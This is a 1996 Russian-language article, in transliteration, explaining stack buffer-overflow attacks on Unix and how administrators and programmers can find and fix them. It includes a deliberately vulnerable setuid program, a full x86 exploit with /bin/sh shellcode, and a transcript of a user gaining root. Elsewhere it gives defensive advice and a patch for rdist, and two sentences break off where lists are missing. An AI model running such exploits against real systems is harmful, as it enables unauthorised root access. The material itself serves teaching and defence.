Ocenite etot tekst:


Original etogo dokumenta raspolozhen na
http://www.tversu.ac.ru/wdl/articles/overflows.html

NAJTI, PROVERITX I OBEZVREDITX


Vadim Koloncov

Predotvrashchenie razlichnogo roda atak, kotorym podvergayutsya sovremennye komp'yuternye sistemy - nastol'ko ob®emnaya tema, chto chasto, stremyas' ohvatit' ee polnost'yu, mnogie publikacii poluchayutsya izlishne obobshchennymi, bez konkretnyh rekomendacij po vyyavleniyu, proverke i obezvrezhivaniyu hakerskih atak. Predlagaemaya stat'ya imeet cel'yu zapolnit' etot probel i posvyashchena detal'nomu obsuzhdeniyu chasto ochen' maloponyatnyh atak iz klassa "buffer-overflow" i metodam zashchity ot nih. Rech' pojdet ob odnoj iz tehnologij, kotoraya segodnya ispol'zuetsya vse chashche i trebuet dlya bor'by s nej ponimaniya raboty sistemy i navykov programmirovaniya, lishnij raz pokazyvaya, chto kul'tura programmirovaniya - vopros ne tol'ko stilya, no i bezopasnosti. Stat'ya orientirovana na administratorov i programmistov, predpochitayushchih ne tol'ko znat' otvet na vopros "kak?", no i na vopros "pochemu?".


Itak...

Esli vy kogda-nibud' programmirovali na Ci ili Paskale, to stalkivalas' s oshibkami tipa "Memory fault - core dumped" ili "General Protection Fault". Kak pravilo, eti proishodit, esli programma popytalas' poluchit' dostup k ne prinadlezhashchej ej oblasti pamyati. |to dovol'no chasto sluchaetsya, esli programmist zabyl, naprimer, proverit' razmery stroki, zanosimoj v bufer, i ostatok stroki "v®ehal" v kakie-to drugie dannye ili dazhe v kod. V zashchishchennom rezhime programma-monitor ili yadro operacionnoj sistemy mozhet kontrolirovat' popytki dostupa k "chuzhoj pamyati" i zavershat' narushivshuyu pravila programmu. Odni operacionnye sistemy delayut etu luchshe - UNIX, drugie obolochki - huzhe (Windows), a takie, kak MS DOS, voobshche ne umeyut nichego podobnogo i lish' banal'no zavisayut.

CHasto takie oshibki proyavlyayutsya ne srazu. Predpolozhim, programmist schitaet, chto 1024 bajta, kotorye on vydelil pod vremennyj bufer budet vpolne dostatochno vo vseh sluchaev. Horosho, esli eto tak. No, kak pokazyvaet opyt, eto dopushchenie predstavlyaet soboj potencial'no slaboe mesto v programme, kotoroe obyazatel'no dast o sebe znat'. Horosho, esli programma rabotaet v odnopol'zovatel'skoj OS - kak maksimum, sboj privedet k zavisaniyu komp'yutera; no v mnogopol'zovatel'skoj, i, tem bolee, setevoj OS, posledstviya mogut byt' bolee ser'eznymi - malen'koe "dopushchenie" sposobno razrushit' vsyu sistemu bezopasnosti seti, kotoruyu administrator tak staratel'no vozvodil.

Samoe plohoe, chto eti "dopushcheniya" molchat o sebe dostatochno dolgoe vremya, nikak ne proyavlyayas', a chasto obnaruzhivayut sebya, lish' popavshis' na glaza hakeru. Preuvelichenie? Net. Izvestnyj virus Morrisa, porazivshij v svoe vremya tysyachi komp'yuterov, ispol'zoval, v chastnosti, etot algoritm dlya proniknoveniya v zashchishchennye sistemy. A prostoe nablyudenie za sobytiyami, proishodyashchimi segodnya v oblasti bezopasnosti daet vse osnovaniya schitat', chto idet celaya volna "buffer-overflow exploits" - obshchee nazvanie dlya programm, kotorye dlya proryva v sistemu i/ili dlya polucheniya privilegij superpol'zovatelya ispol'zuyut netochnosti v kontrole razmerov strok i buferov.

Dlya togo, chtoby ponyat' mehanizm raboty, my budem ispol'zovat' prostuyu programmu pod nazvaniem "rabbit.c":

#include 
#include 

void process(char *str)
{
  char buffer[256];

  strcpy(buffer, str);
  printf("Dlina stroki = %d\n", strlen(buffer));
  return;
}

void main(int argc, char *argv[])
{
  if (argc == 2)
    process(argv[1]);
  else
    printf("Usage: %s some_string\n", argv[0]);
}

Podobnye fragmenty programm, v kotoryh funkciya prinimaet stroku kak odin iz neskol'kih argumentov, imeet lokal'nyj bufer ogranichennogo razmera, ispol'zuet vyzovy tipa strcpy() ili sprintf(), mozhno vstretit' v bol'shom kolichestve programm.

Razberemsya v detalyah, kak v bol'shinstve sluchaev proishodit vyzov funkcii process(). Itak, stek (budem schitat', chto on rastet vverh) pered vyzovom funkcii vyglyadit sleduyushchim obrazom:

|. . . |  (oblast' mladshih adresov)
|      |
|------|  <== Ukazatel' verhushki steka
|XXXXXX|
|XXXXXX|  Ispol'zovannaya chast' steka
|XXXXXX|
|. . . |  (oblast' starshih adresov)
Parametry funkcii peredayutsya cherez stek - tuda zanosyatsya ukazateli na parametry ili sami parametry (v nashem sluchae eto odin ukazatel' na stroku), a vyzvannaya funkciya izvlekaet ih ottuda. Estestvenno, vsem etim zanimaetsya kod, sgenerirovannyj kompilyatorom - programmist ne prinimaet uchastiya v etom processe. Posle togo, kak parametry zaneseny v stek, a processor vstrechaet instrukciyu vyzova funkcii on zanosit v stek nekotoruyu informaciyu o tekushchem sostoyanii - kak pravilo, eto smeshchenie sleduyushchej posle komandy vyzova. Takim obrazom, funkciya, zavershiv svoyu rabotu, budet znat' adres vozvrata upravleniya. V rezul'tate, vo vremya vypolneniya pervoj stroki funkcii stek imeet sleduyushchij vid:
|. . . |  (oblast' mladshih adresov)
|      |
|------|  <== Ukazatel' na verhushku steka
|RETADR|  <== Adres vozvrata
|PARAMS|  <== Parametry funkcii
|XXXXXX|
|XXXXXX|  Ispol'zovannaya chast' steka
|XXXXXX|
|. . . |  (oblast' starshih adresov)
CHto proishodit dal'she? Funkcii nado zapomnit' ukazatel' na tekushchuyu verhushku steka (BP), kotoryj budet ispol'zovat'sya v ssylke na parametry. Poetomu vypolnyayutsya sleduyushchie dve instrukcii (v kachestve primera rassmotrim semejstvo x86):
    push bp
    mov  bp,sp
Teper' v verhushke steka lezhit predydushchee znachenie registra BP, a sam on ukazyvaet na verhushku steka i mozhet byt' ispol'zovan v kachestve bazovogo registra pri ssylke na parametry.

V programme byl ob®yavlen razmer bufera v 256 bajt. Poskol'ku ne ispol'zovalis' funkcii malloc() ili new dlya vydeleniya trebuemogo ob®ema pamyati, i ne ukazyvalsya modifikator "static", etot bufer budet zarezervirovan v steke. Posle vseh etih operacij stek imeet sleduyushchij vid:

|. . . |  (oblast' mladshih adresov)
|      |
|------|  <== Verhushka steka
|??????|  <== Nachalo zarezervirovannogo bufera
|??????|   . . .
|??????|  <== Konec bufera
|OLD BP|  <== Staroe znachenie registra BP
|RETADR|  <== Adres vozvrata
|PARAMS|  <== Parametry
|XXXXXX|
|XXXXXX|  Nekaya uzhe zanyataya chast' steka
|XXXXXX|
|. . . |  (oblast' starshih adresov)
Posle vsego etogo programma rabotaet prekrasno, poka delo ne dohodit do vyzova funkcii "strcpy()". Esli dlina stroki men'she ili ravna dline bufera, to vse projdet horosho, funkciya otrabotaet, osvobodit zarezervirovannoe prostranstvo, vosstanovit registr BP, i, nakonec, vernet upravlenie programme, kotoraya ochistit stek ot peredannyh parametrov.

CHto zhe proizojdet, esli dlina stroki budet bol'she razmera bufera? Poskol'ku strcpy() kopiruet vse simvoly, poka ne vstretit kod konca stroki - "0", chast' stroki zatret verhnyuyu chast' steka i, estestvenno, mozhet isportit' pole RETADR. Vprochem, eto stanet zametno ne srazu - vse budet rabotat' velikolepno, poka delo ne dojdet do vyzova return(). Upravlenie budet peredano po adresu, kotoryj hranitsya v pole RETADR, no poskol'ku adres isporchen, vypolnenie programmy prodolzhitsya v nekoj tochke adresnogo prostranstva, otlichayushchejsya ot tochki vyzova. Vot v etom-to meste i proizojdet isklyuchitel'naya situaciya i programma budet avarijno prervana, poskol'ku maloveroyatno, chtoby adres vozvrata ukazyval na kakoj-to osmyslennoj kod, prichem nahodyashchijsya v oblasti pamyati dannoj programmy.

Odnako, eto okazyvaetsya vozmozhnym, esli kto-to special'no hotel vyzvat' podobnuyu situaciyu. Ved' chto meshaet v kachestve argumenta funkcii peredat' stroku special'no podobrannoj dliny, tak, chto by ona soderzhala nekotoryj mashinnyj kod, prichem pri zatiranii verhushki steka v pole REDADR popadal adres imenno etogo koda? Posle otrabotki funkcii return() upravlenie poluchit novyj fragment, chto sovsem ne predusmatrivalos' avtorom programmy. Nu a etot fragment uzhe smozhet vypolnit' proizvol'nuyu operaciyu, obrashchayas' k servisu operacionnoj sistemy.

Kak zhe budet vyglyadet' stek posle vyzova strcpy()?

   |. . . |  (oblast' mladshih adresov)
   |      |
   |------|  <== Verhushka steka
+->|!!!!!!|
|  |!!!!!!|  <== Mashinnyj kod hakera
|  |!!!!!!|
|  |OLD BP| <== Staroe znachenie registra BP (isporchennoe, no eto uzhe nevazhno)
+--|RETADR|  <== Adres vozvrata (ispravlennyj)
   |PARAMS|  <== Parametry
   |XXXXXX|
   |XXXXXX|  Nekaya uzhe zanyataya chast' steka
   |XXXXXX|
   |. . . |  (oblast' starshih adresov)
Kak sozdaetsya takoj mashinnyj kod? Vo-pervyh, stoit vyyasnit' primernyj adres verhushki steka na dannoj mashine pri vyzove funkcij, chtoby korrektno sformirovat' adres vozvrata, kotoryj popadet v pole RETADR. Kak pravilo eto delaetsya programmoj exploit s pomoshch'yu vyzova pustoj funkcii, vozvrashchayushchej v kachestve parametra znachenie verhushki steka. Vo-vtoryh, fragment dolzhen byt' napisan takim obrazom, chtoby ne soderzhat' simvola 0, kotoryj budet rascenen, kak konec stroki - etim simvolom kod budet zakanchivat'sya. Konechno, on popadet pri kopirovanii v oblast' parametrov, no hakera eto, kak i isporchennyj registr BP, ne volnuet - glavnoe, upravlenie budet peredano na chuzherodnyj fragment. V-tret'ih, tochno dolzhny byt' rasschitany razmery bufera, chtoby vse popalo v nuzhnye mesta i ne vyzvalo obychnogo core dump, dolzhny byt' uchitany razmery drugih peremennyh, stoyashchih mezhdu buferom i RETADR. I, nakonec, v-chetvertyh - haker dolzhen umet' vyzyvat' funkcii operacionnoj sistemy.

Hotya zadacha kazhetsya dovol'no netrivial'noj, v nej net nichego slozhnogo dlya programmista, znayushchego sistemu. Naprimer, podobnyj kod dlya Linux, BSD-family, a takzhe OS Solaris, vyzyvayushchij /bin/sh i legko podstraivaemyj pod konkretnye razmery bufera, dovol'no shiroko gulyaet po Internet i mozhet byt' ispol'zovan dlya obnaruzheniya hakerom novoj dyrki v programmah. A eto obnaruzhenie trebuet lish' terpeniya, ibo v Internet dostupny ishodnye teksty ogromnogo kolichestva programm i utilit - dazhe kommercheskogo Solaris.

Programma exploit.c (h86), demonstriruyushchaya, kak mozhno vospol'zovat'sya netochnost'yu, dopushchennoj v testovom primere rabbit.c.


#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             256
#define SKIP_VARS               4

/* Poluchit' ukazatel' na stek */
long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   char *ptr = NULL;
   int i;

   /* Dannyj fragment vypolnyaet vyzov /bin/sh */
   char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07"
                      "\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b"
                      "\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8"
                      "\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02"
                      "\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";


   /* Vydelyaem pamyat' */
   buff = malloc(BUFFER_SIZE+16);
   if(!buff)
   {
      perror("Can't allocate memory");
      exit(0);
   }
   ptr = buff;

   /* Zapolnyaem nachalo stroki kodami komandy NOP ("net operacii") */
   for (i=0; i < BUFFER_SIZE-strlen(execshell); i++)
     *(ptr++) = 0x90;

   /* Teper' kopiruem v stroku mashinnyj kod */
   for (i=0; i < strlen(execshell); i++)
      *(ptr++) = execshell[i];

   /* Propuskaem vse, chto lezhit mezhdu buferom i adresom vozvrata */
   for (i=0; i < SKIP_VARS; i++)
     *(ptr++) = 0x90;

   /* Zapisyvaem adres vozvrata */
   *(long *)ptr = get_esp() + DEFAULT_OFFSET;
   ptr += 4;

   /* Zavershayushchij 0 */
   *ptr = 0;

   /* Vyzov programmy s sformirovannoj strokoj v kachestve argumenta */
   printf("%s\n", buff);
   execl("./rabbit", "rabbit", buff, NULL);
}
Primer kompilyacii i vypolneniya:
# id
uid=0(root) gid=0(wheel)
# gcc -o rabbit rabbit.c
# chmod u+s rabbit
# ls -l rabbit                          -- Itak, rabbit - root-setuid
-rwsr-xr-x  1 root  wheel  12288 Jan  1 00:01 rabbit
# su user
$ id
uid=200 (user), group = 200 (users)     -- YA - obychnyj pol'zovatel'
$ ./rabbit test                         -- Programma rabotaet normal'no...
Dlina stroki = 4
$ gcc -o exploit exploit.c              -- Podgotavlivaemsya...
$ ./exploit                             -- Zapuskaem exploit, a tot
Dlina stroki = 264                      -- zapuskaet rabbit
# id
uid=200(root) gid=200(users) euid=0(root) -- Op-lya, ya superpol'zovatel'!

Mozhno vozrazit', chto sushchestvuyut gorazdo bolee prostye sposoby proniknoveniya v sistemu, chem upomyanutyj. Ne sovsem tak. Bolee prostye sposoby chasto ne rabotayut, poskol'ku shiroko izvestny; v dannom zhe sluchae imeet mesto gorazdo bolee maloizvestnaya situaciya. Krome etogo, sushchestvuet slishkom bol'shoe kolichestvo programm s opisannymi oshibkami, kotorye mgnovenno prevrashchayutsya v lazejki dlya hakera. Ved' dannaya problema ne otnositsya k tipu "dyrok" v sendmail, kotorye zakryvayutsya raz i navsegda, a predstavlyaet soboj uzhe nekuyu tehnologiyu, kotoraya mozhet ispol'zovat'sya dostatochno chasto.

Glavnaya zhe problema zaklyuchaetsya v global'nosti - ved' programma ne obrashchaetsya k sistemnym resursam. K steku obrashchaetsya programma pol'zovatelya, prichem ne k sistemnomu steku, a k svoemu, chto vpolne estestvenno. Krome togo, nuzhno eshche poiskat' OS, kotoraya proveryaet, zatiraet li zapisyvaemaya v stek stroka ego verhushku. |to delo libo programmista i/ili kompilyatora. Na urovne OS eto nevozmozhno detektirovat', tak kak narusheniya zashchity ne proishodit - programma ne vyhodit za predely steka ili segmenta.

Takim obrazom, metod rabotaet vezde, gde

Kak izvestno, etim trebovaniyam udovletvoryayut prakticheski vse operacionnye sistemy - imenno poetomu problema yavlyaetsya stol' global'noj.

V programme rdist iz BSD v odnom iz vyzovov otsutstvovala proverka na razmer parametra, peredavaemoj iz komandnoj stroki. Sushchestvuet programma, kotoraya formiruet trebuemyj kod i vyzyvaet /usr/bin/rdist, peredavaya kod v kachestve parametra. Poskol'ku rdist vypolnyaetsya s privilegiyami superpol'zovatelya (setuid bit), peredannyj kod takzhe vypolnyalsya s privilegiyami root i v rasporyazhenii hakera okazyvalsya shell s pravami root.

V odnoj iz versij POP-servera proverka dliny stroki prisutstvovala, no ne byla do konca korrektnoj - ne otlavlivalos' perepolnenie pri vyzove sprintf(). CHto eto oznachaet? Byla napisana programma, kotoraya soedinyalas' s 110-m portom (pop3-servis) i peredavala emu sformirovannyj kod, posle chego pop-server soobshchal o nevernoj komande sprintf() i "vyvalivalsya" v shell posle return(), prichem s pravami superpol'zovatelya root. Prichem v dannom sluchae hakeru dazhe ne trebovalos' imet' svoj razdel na mashine, chtoby prorvat'sya na nee, da eshche i s pravami root.

Preslovutyj virus Morrisa ispol'zoval analogichnuyu netochnost' v shiroko rasprostranennoj programme finger, i dokazal svoyu rabotosposobnost', razojdyas' za neskol'ko chasov na ogromnoe kolichestvo komp'yuterov v nauchnyh i voennyh setyah SSHA.

Programmy, napisannye pod X-Window, kak pravilo, peredayut parametr "-display " na obrabotku X-biblioteke. Ploho, chto v XFree86 razmery displayname ne proveryayutsya, i uzhe dostupen kod dlya polucheniya root-privilegij cherez /usr/X11R6/bin/xterm. No eshche huzhe, chto kod Xlib ispol'zuetsya prakticheski vo vseh X-programmah.

Sovsem nedavno v spiske rassylki freebsd-security byla opublikovana informaciya o oshibke - otsutstvie proverki razmera bufera - v podsisteme pechati, yavlyayushchejsya fakticheskim standartom i ispol'zuyushchejsya vo vseh semejstvah BSD, SunOS, a takzhe vhodyashchej v sostav ostal'nyh operacionnyh sistem (dlya sovmestimosti). Bezuslovno, rano ili pozdno eta oshibka budet ispravlena, no skol'ko problem mogut vozniknut' do etogo momenta?

Ochen' zhal', chto v poslednee vremya primery exploit-koda stali shiroko dostupny, i chasto cheloveku (daleko ne sistemnomu programmistu), zametivshemu netochnost' v programme, dostatochno podkorrektirovat' lish' neskol'ko peremennyh (tipa BUFFER_SIZE, SKIP_VARS) dlya polucheniya rabotayushchej programmy-bandita.

Politika administratora po bezopasnosti mozhet kratko oharakterizovat'sya vsego dvumya lozungami: "predotvrashchaj" i "operativno reagiruj".

Nesmotrya na to, chto segodnya sushchestvuet bol'shoe kolichestvo klonov UNIX, rekomendacii vyglyadyat primerno odinakovo dlya vseh platform, poskol'ku principy ispol'zuyutsya odni i te zhe. Nekotorye razlichiya sostoyat v tom, chto semejstvo x86 izucheno hakerami gorazdo luchshe, chem, naprimer, Sparc ili MIPS, a nalichiem dostupnyh ishodnyh tekstov mogut pohvastat'sya daleko ne vse operacionnye sistemy. Otsutstvie tekstov zatrudnyaet kak vzlom sistemy, tak i ispravlenie oshibok i izuchenie ee raboty - kak vsegda, lyuboj fakt v zhizni programmista i administratora yavlyaetsya palkoj o dvuh koncah.

Prezhde vsego, podrazumevaetsya, chto uzhe vypolneny vse ispravleniya v sisteme, informaciya o kotoryh mozhet byt' poluchena u postavshchika OS. Odnako poka uspokaivat'sya rano - poroj proizvoditeli OS sami ne ochen' operativno reagiruyut na obnaruzhenie oshibok v ih produktah. Poetomu mozhno predlozhit' eshche neskol'ko variantov zashchity ot oshibok klassa buffer-overflow exploits.

Variant pervyj - esli dostupny ishodnye teksty i mnogo svobodnogo vremeni: v programmah, vypolnyayushchihsya s privilegiyami superpol'zovatelya (root setuid-programmy; programmy, vyzyvayushchiesya iz inetd i t.d.) nado otyskat' vse vyzovy funkcij strcpy, gets, sprintf a, vozmozhno, drugih funkcij raboty so strokami, i proverit', ne ispol'zuyutsya li pri etom lokal'nye bufery fiksirovannoj dliny. Mozhno eshche poiskat' konstanty tipa BUFSIZ, PATH_MAX i dr. Proanalizirovav tekst, mozhno vypolnit' sleduyushchie dejstviya:

  1. dobavit' proverki na dlinu stroki
  2. zamenit' strcpy, gets, sprintf etc na ih analogi dlya fiksirovannoj dliny - strncpy, snprintf, fgets
  3. vmesto fiksirovannyh buferov ispol'zovat' dinamicheskoe vydelenie pamyati.
V kachestve primera oshibochnoj programmy mozhno privesti rdist iz BSD:
struct namelist * lookup(name, action, value)
        char *name;
        int action;
        struct namelist *value;
{
        register unsigned n;
        register char *cp;
        register struct syment *s;
        char buf[256];

        .  .  .
                        if (action != INSERT || s->s_type != CONST) {
        /* !!! */                  (void)sprintf(buf, "%s redefined", name);
                                yyerror(buf);
Problema v tom, chto v buf fakticheski zanositsya argument iz komandnoj stroki, dlina kotorogo ne proveryaetsya. Dlya togo, chtoby izbavit'sya ot dyrki, dostatochno posle stroki, pomechennoj znakom "!!!", dobavit' sleduyushchij nebol'shoj fragment (vmesto prostoj diagnostiki mozhet okazat'sya polezno dobavit' zapis' v fajl otcheta informacii o proisshedshem s ukazaniem imeni pol'zovatelya, vyzvavshego rdist):
        if (action != INSERT || s->s_type != CONST) {
                if (strlen(name) > 240)
                {
                   printf("The something going on...\n");
                   exit(1);
                }
        (void)sprintf(buf, "%s redefined", name);
Variant vtoroj - ishodnyh tekstov net: neobhodimo napisat' scenarij, kotoryj pytaetsya vyzvat' proveryaemuyu programmu, ispol'zuya razlichnye parametry dostatochno bol'shoj dliny. Naprimer, stroka dlya proverki komandy xterm mozhet vyglyadet' kak:
  /usr/bin/X11R6/xterm -display `perl '{print "A" x 5000;}'`:0
V kachestve parametra formiruetsya stroka dlinoj v 5000 simvolov (kak pokazyvaet praktika, programmisty chasto ispol'zuyut konstanty BUFSIZ, FILENAME_MAX i t.d., opredelennye v /usr/include, a oni, obychno ne prevyshayut 2048 bajt. Izmenyaya chislo v stroke i/ili analiziruya ishodnye teksty, mozhno utochnit' razmer bufera v programme.

Esli rezul'tatom vypolneniya etoj komandy budet odinokaya fraza tipa: "Memory fault, core dump saved", to eto oznachaet, chto imeetsya dostatochno prichin, chtoby:

No ne stoit dumat', chto vse tak prosto. CHasto trudno izbezhat' polnogo analiza teksta programmy, ved' nikto ne meshaet avtoru ispol'zovat' sleduyushchuyu konstrukciyu:

for (char *temp=buffer;*buffer;buffer++) *temp++=*buffer;
A rezul'tat u nee tot zhe, chto i u standartnoj funkcii strcpy(). Da i metod peredachi exploit-koda v programmu mozhet byt' dostatochno slozhnym. Naprimer, dlya togo, chto by vospol'zovat'sya dyrkoj v sendmail versii nizhe chem 8.7.5, kod peredaetsya v GECOS-pole, kotoroe v semejstve OS BSD pol'zovatel' mozhet menyat' s pomoshch'yu programm chfn, chsh i chpass. Udobnaya, kazalos' by, vozmozhnost': smena imeni, informacii o telefone/ofise i plyus netochnost' v sendmail obernulis' lazejkoj dlya hakera.

Administratoru rekomenduetsya podpisat'sya na takie spiski rassylki, posvyashchennye UNIX security, kak BUGTRAQ, BoS, WDL; na standartnye uvedomleniya CERT (Computer Emergency Response Team), iz kotoryh mozhno operativno uznat' o probleme i zakryt' otkryvshuyusya lazejku v sisteme. Bolee podrobnuyu informaciyu o spiskah rassylki po komp'yuternoj bezopasnosti mozhno pocherpnut' na WDL WWW.

Nesomnenno, dlya togo, chtoby obnaruzhit' ataku, stoit periodicheski analizirovat' informaciyu, kotoruyu zapisyvayut programmy v standartnye fajly otchetov (naprimer /var/log/messages). K schast'yu, imeetsya bol'shoe kolichestvo programm, pomogayushchih administratoru sledit' za ego set'yu i vypolnyat' zadannye ezhednevnye proverki.

Esli dazhe vy ne rabotaete v UNIX to ne sleduet uspokaivat'sya. Otkuda izvestno, chto prikladnaya programma, tot zhe MS Word, korrektno proveryaet vse polya v DOC-fajle i ne nachnet v odin prekrasnyj moment posle zagruzki dokumenta formatirovat' zhestkij disk? K sozhaleniyu, lish' ochen' tonkaya pregrada stoit na puti vozmozhnogo poyavleniya virusov podobnogo i zaklyuchaetsya ona malodostupnosti ishodnyh tekstov dlya produktov pod DOS/WIN, tak chto hakeru pridetsya provesti bessonye nochi pered otladchikom, razbirayas' v rabote programmy.

Krome etogo, lyuboj zhelayushchij mozhet ubedit'sya, chto i v NT rabotaet takoj metod proniknoveniya v sistemu, napisav prostejshij primer. Poka na Internet net programm exploit dlya NT, odnako eto delo vremeni, krome etogo shema sistemnyh vyzovov v etoj OS poka eshche ne ustoyalas' i postoyanno podvergaetsya izmeneniyu. Tak chto u NT vse eshche vperedi.

Vyhod odin - programmisty dolzhny srazu sozdavat' nadezhnye programmy i otvechat' za ih rabotu. I uzh kak minimum, ne ispol'zovat' buferov i strok fiksirovannoj dliny, esli net tverdoj uverennosti v tom, chto podobnye fragmenty budut vsegda korrektno rabotat'.

V kachestve poslednego soveta programmistam porekomenduyu pochitat' stat'yu "Check list for writing secure Unix code" na uzhe upominavshemsya WDL WWW


Copyright © 1996 Vadim Kolontsov

Last-modified: Thu, 03 Jul 1997 07:35:41 GMT
Ocenite etot tekst: